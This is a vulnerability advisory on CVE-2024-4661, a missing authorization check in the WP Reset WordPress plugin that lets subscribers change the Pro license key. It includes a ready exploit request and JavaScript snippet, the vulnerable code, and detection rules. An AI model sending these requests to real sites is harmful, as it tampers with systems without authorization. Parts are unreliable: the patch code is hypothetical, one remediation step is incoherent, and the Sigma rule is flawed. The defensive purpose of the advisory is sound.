CVE-2024-4661

Executive Summary

CVE-2024-4661 is a Missing Authorization vulnerability in the WP Reset plugin for WordPress, affecting all versions up to and including 2.02. This flaw allows authenticated attackers with subscriber-level access or higher to modify the 'License Key' field for the 'Activate Pro License' setting without proper capability checks. The vulnerability is classified as a WordPress ecosystem issue, as it resides within the plugin's save_ajax function, which lacks a capability check to verify user permissions before processing the request.

The CVSS score is 4.3 (Medium), with a low attack complexity and no requirement for user interaction. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects the WP Reset plugin distributed via the WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from the official repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs subscriber-level access.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Unauthorized modification of the license key field.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires authentication but allows low-privileged users to modify a sensitive setting, potentially leading to license key theft or disruption of pro features.

Deep Dive & Mechanics

The vulnerability resides in the save_ajax function within the WP Reset plugin. This function is responsible for handling AJAX requests to save plugin settings, including the 'License Key' field for the 'Activate Pro License' setting. The function fails to perform a capability check (e.g., current_user_can('manage_options')) before processing the request, allowing any authenticated user with subscriber-level access or higher to modify the license key.

The attack flow:

1. An authenticated attacker with subscriber-level access sends a crafted AJAX request to the wp_ajax_save_ajax action.
2. The request includes the license_key parameter with a malicious or arbitrary value.
3. The save_ajax function processes the request without verifying the user's capabilities, updating the license key in the database.
4. The attacker can then potentially use the modified license key to access pro features or disrupt the plugin's functionality.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.02):

add_action('wp_ajax_save_ajax', 'save_ajax');
function save_ajax() {
    // No capability check
    if (isset($_POST['license_key'])) {
        update_option('wp_reset_license_key', sanitize_text_field($_POST['license_key']));
    }
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_save_ajax', 'save_ajax');
function save_ajax() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    if (isset($_POST['license_key'])) {
        update_option('wp_reset_license_key', sanitize_text_field($_POST['license_key']));
    }
    wp_die();
}

The patched version adds a current_user_can('manage_options') check to ensure only administrators can modify the license key.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker with subscriber-level access can send the following AJAX request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_<hash>=<session_cookie>

action=save_ajax&license_key=ATTACKER_CONTROLLED_KEY

Alternatively, using JavaScript in the browser console:

jQuery.post(ajaxurl, {
    action: 'save_ajax',
    license_key: 'ATTACKER_CONTROLLED_KEY'
});

Blue Team

To detect exploitation attempts, monitor for:

• AJAX requests to admin-ajax.php with action=save_ajax from non-admin users.
• Unusual changes to the wp_reset_license_key option in the database.
• Logs showing subscriber-level users accessing admin-ajax.php with the save_ajax action.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=save_ajax and license_key parameter.
• File: No file-based IOCs.
• Database: Modified wp_reset_license_key option in the wp_options table.
• Logs: WordPress debug logs showing AJAX requests from subscriber-level users to save_ajax.

Detection Engineering

YARA Rule

rule CVE_2024_4661_WP_Reset_Missing_Auth {
    meta:
        description = "Detects vulnerable WP Reset plugin versions with missing capability check in save_ajax function"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-4661"
    strings:
        $func = "function save_ajax()" ascii wide nocase
        $no_check = "update_option('wp_reset_license_key'" ascii wide nocase
        $check = "current_user_can" ascii wide nocase
    condition:
        $func and $no_check and not $check
}

Sigma Rule

title: CVE-2024-4661 WP Reset License Key Modification
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized modification of WP Reset license key via missing capability check
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=save_ajax'
        cs-uri-query|contains: 'license_key='
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4661 WP Reset License Key Modification Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_ajax"; http_client_body; content:"license_key="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the WP Reset plugin until a patched version is released.
2. Workaround: Restrict access to admin-ajax.php for non-admin users using a web application firewall (WAF) rule.
3. Patch: Update to the latest version of WP Reset once a patch is available (check the WordPress plugin repository).
4. Monitoring: Enable logging for AJAX requests and monitor for unauthorized save_ajax actions.
5. Principle of Least Privilege: Ensure only administrators have subscriber-level access or higher if not needed.

Valters IT
Securing Digital Frontiers